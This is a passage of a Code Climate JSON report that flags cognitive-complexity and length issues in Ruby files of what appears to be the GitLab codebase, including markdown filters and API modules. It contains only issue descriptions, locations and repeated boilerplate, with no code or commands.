`call` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"e19e0b6d7127e7778817e23a5c2202a6","location":{"path":"lib/banzai/filter/external_link_filter.rb","lines":{"begin":9,"end":23}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `highlight_node` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"9dc3f1809c63dc39b3c7b301b2c8b0a8","location":{"path":"lib/banzai/filter/syntax_highlight_filter.rb","lines":{"begin":19,"end":53}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `call` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"0228be52a5d55a59f39144f901ba3de8","location":{"path":"lib/banzai/filter/user_reference_filter.rb","lines":{"begin":28,"end":51}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `user_link_filter` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"e1a29dd5f3f29173136fead3b7feacff","location":{"path":"lib/banzai/filter/user_reference_filter.rb","lines":{"begin":61,"end":75}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `call` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"c56c41f7c09938431d527c9d84ee464c","location":{"path":"lib/banzai/filter/project_reference_filter.rb","lines":{"begin":26,"end":47}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `call` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"23c5be476e6cfabb3f50b8995a21481e","location":{"path":"lib/banzai/filter/autolink_filter.rb","lines":{"begin":51,"end":67}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `autolink_match` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"63ef57bb6d5d4556a6d292a19e1eb7aa","location":{"path":"lib/banzai/filter/autolink_filter.rb","lines":{"begin":79,"end":116}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `remove_unsafe_links` has a Cognitive Complexity of 13 (exceeds 5 allowed). Consider refactoring.","fingerprint":"578c89c0c495a9f9912ae5425a9baf35","location":{"path":"lib/banzai/filter/sanitization_filter.rb","lines":{"begin":64,"end":91}},"other_locations":[],"remediation_points":950000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `remove_unsafe_table_style` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"66ae1f700aade40e1b93928de1809522","location":{"path":"lib/banzai/filter/sanitization_filter.rb","lines":{"begin":101,"end":114}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `process_link_attr` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"fe0e7a59ae612e2391ff8956ece5a37e","location":{"path":"lib/banzai/filter/absolute_link_filter.rb","lines":{"begin":21,"end":29}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `call` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"91ceeacf382258ddf799f7e8df323086","location":{"path":"lib/banzai/filter/commit_trailers_filter.rb","lines":{"begin":29,"end":43}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `link_to_user` has 27 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"2cae91969679378626a39ee56d06c378","location":{"path":"lib/banzai/filter/commit_trailers_filter.rb","lines":{"begin":81,"end":115}},"other_locations":[],"remediation_points":648000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"complex_logic","content":{"body":""},"description":"Consider simplifying this complex logical expression.","location":{"path":"lib/banzai/filter/math_filter.rb","lines":{"begin":27,"end":36}},"other_locations":[],"remediation_points":400000,"severity":"major","type":"issue","engine_name":"structure","fingerprint":"c132e79b1733f1ef2e4fba2f07f29935"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `call` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"88347949c1ff362bde8f0c3f4fe03dc2","location":{"path":"lib/banzai/filter/table_of_contents_filter.rb","lines":{"begin":21,"end":52}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `find_parent` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"b3d0438ee7565d4ad0316ba6f05a9baf","location":{"path":"lib/banzai/filter/table_of_contents_filter.rb","lines":{"begin":102,"end":115}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `nodes_visible_to_user` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"c851d1fc927d9308df218d02f42fde99","location":{"path":"lib/banzai/reference_parser/user_parser.rb","lines":{"begin":25,"end":48}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `nodes_user_can_reference` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"bfa5e9970213f7ef43f0e22780710fb3","location":{"path":"lib/banzai/reference_parser/user_parser.rb","lines":{"begin":64,"end":87}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `grouped_objects_for_nodes` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"56d2576cd012b6e37a94c3cac839a5fd","location":{"path":"lib/banzai/reference_parser/base_parser.rb","lines":{"begin":134,"end":147}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `BaseParser` has 21 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"3b65d4312cddf7542466b907246e6568","location":{"path":"lib/banzai/reference_parser/base_parser.rb","lines":{"begin":34,"end":255}},"other_locations":[],"remediation_points":1300000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `cache_collection_render` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"86955f7d246e45efcedaab9abac1b39e","location":{"path":"lib/banzai/renderer.rb","lines":{"begin":76,"end":103}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `filter_nodes_at_beginning` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"575e435b81c0cb589731931503f3f7ef","location":{"path":"lib/banzai/querying.rb","lines":{"begin":45,"end":64}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `initialize` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"a1435f7fb2485ddc0076596fa851b5e1","location":{"path":"lib/file_size_validator.rb","lines":{"begin":8,"end":17}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `check_validity!` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"4c0eea681bcd3ea73ab99bdeb9992c52","location":{"path":"lib/file_size_validator.rb","lines":{"begin":19,"end":33}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `validate_each` has a Cognitive Complexity of 19 (exceeds 5 allowed). Consider refactoring.","fingerprint":"4ad97d789c0a7bb2c49b85af370fa1cb","location":{"path":"lib/file_size_validator.rb","lines":{"begin":36,"end":65}},"other_locations":[],"remediation_points":1550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `projects.rb` has 419 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"de2195ccf1e60f3a00e250b69809f314","location":{"path":"lib/api/projects.rb","lines":{"begin":1,"end":513}},"other_locations":[],"remediation_points":3633600,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `apply_filters` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"3d37733ec13b40a7294cb95cca30d7c0","location":{"path":"lib/api/projects.rb","lines":{"begin":21,"end":27}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `entities.rb` has 1174 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"14ca44a7292f309674c3e6bf5668d68a","location":{"path":"lib/api/entities.rb","lines":{"begin":1,"end":1469}},"other_locations":[],"remediation_points":14505600,"severity":"major","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `create_note` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"5bdd6d096b03346b779bae1a47c5df19","location":{"path":"lib/api/helpers/notes_helpers.rb","lines":{"begin":89,"end":101}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `validate_job!` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"9c2df515fd3e4e567e5c43ce34122ebc","location":{"path":"lib/api/helpers/runner.rb","lines":{"begin":34,"end":42}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `filter_runners` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"8fe97bd7f7ff40f6f347505c5401de55","location":{"path":"lib/api/runners.rb","lines":{"begin":163,"end":176}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `authenticate_show_runner!` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"678c4afecdf242daef2608fb52f16121","location":{"path":"lib/api/runners.rb","lines":{"begin":184,"end":188}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `authenticate_delete_runner!` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"229dc324c7b4cd0754d3f429d0efa489","location":{"path":"lib/api/runners.rb","lines":{"begin":196,"end":201}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method 